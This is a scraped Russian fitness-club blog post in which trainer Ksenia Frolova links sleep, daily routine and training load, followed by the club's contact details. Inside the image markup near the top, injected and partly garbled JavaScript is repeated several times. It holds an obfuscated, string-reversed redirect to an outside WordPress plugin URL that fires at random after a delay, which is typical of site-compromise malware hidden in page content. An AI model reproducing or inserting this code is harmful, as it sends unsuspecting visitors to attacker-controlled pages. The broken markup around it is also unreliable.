Эффективные тренировки гарантируют крепкий и здоровый сон — Ксения Фролова

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-fraza-kopiya-kopiya-kopiya-2-scaled.jpg»>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-fraza-kopiya-kopiya-kopiya-2-1024×731.jpg» alt=»» width=»1024″ height=»731″>

Сон. Казалось бы, кому важно, как и когда вы спите? НАМ ВАЖНО! Потому что это определяющий критерий для нагрузки при занятиях спортом.

Ваш режим дня — время бодрствования, сна, питания – ТРИ КИТА, которые помогают подобрать программу в тренажерном зале.

Сон – это прежде всего восстановление. Если вы мало спите, то, как показывает практика, вы «заедаете» время бодрствования. Это сигналы, которые дает организм.

Ксения Фролова, тренер клуба «Боец»:

«Вы начинаете тренироваться, а значит мы меняем режим дня так, чтобы вы успевали восстанавливаться. Либо подбираем интенсивность и нагрузку, понимая, что возможности спать больше, чем 4-5 часов в сутки у вас нет. Делаем это дозированно и осторожно. Усталость и отсутствие результата никого не мотивируют!»

Еще один важный момент: у вас не получается систематизировать свой режим дня. Для этого есть свои причины. НО, хорошие и правильные нагрузки, подобранные тренером ПОМОГУТ мягко восстановить режим. Потому что тренировка в «Бойце» — это всегда крепкий и здоровый сон.

Запишитесь на своё первое занятие с тренером.

▪ Тел: 37-68-68
▪ Адрес клуба: Пригородный, ул.Полевая, 2А